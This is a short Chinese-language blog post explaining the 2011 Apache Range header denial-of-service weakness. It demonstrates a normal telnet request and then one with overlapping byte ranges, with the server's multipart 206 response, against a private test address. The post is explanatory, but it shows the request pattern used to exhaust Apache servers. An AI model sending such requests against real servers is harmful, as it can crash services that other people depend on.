Apache Range Header DOS 攻擊讓主機資源輕易消秏待盡

這個攻擊是八月底的消息，它是一個apache的弱點，對 header 作攻擊，好像是它本就是一個正常的規則，

只是如果分好幾個片斷去 request 的話，就會讓apache 資源慢慢的被耗光，最後 crashed。

一般對 80 的請求為

telnet 10.10.10.135 80

GET / HTTP/1.1

Host: 10.10.10.135

<enter> 

結果

HTTP/1.1 200 OK
Date: Thu, 15 Sep 2011 10:12:02 GMT
Server: Apache
X-Powered-By: PHP/4.3.9
Content-Length: 3
Connection: close
Content-Type: text/html; charset=UTF-8

wowConnection closed by foreign host.

如果帶上 range

telnet 10.10.10.135 80

GET / HTTP/1.1

Host: 10.10.10.135
Range: bytes=1-1,1-2,1-3

<enter>

結果

HTTP/1.1 206 Partial Content
Date: Thu, 15 Sep 2011 10:13:38 GMT
Server: Apache
X-Powered-By: PHP/4.3.9
Content-Length: 309
Connection: close
Content-Type: multipart/byteranges; boundary=4acf8215ee4231b04

--4acf8215ee4231b04
Content-type: text/html; charset=UTF-8
Content-range: bytes 1-1/3

o
--4acf8215ee4231b04
Content-type: text/html; charset=UTF-8
Content-range: bytes 1-2/3

ow
--4acf8215ee4231b04
Content-type: text/html; charset=UTF-8
Content-range: bytes 1-2/3

ow
--4acf8215ee4231b04--
Connection closed by foreign host.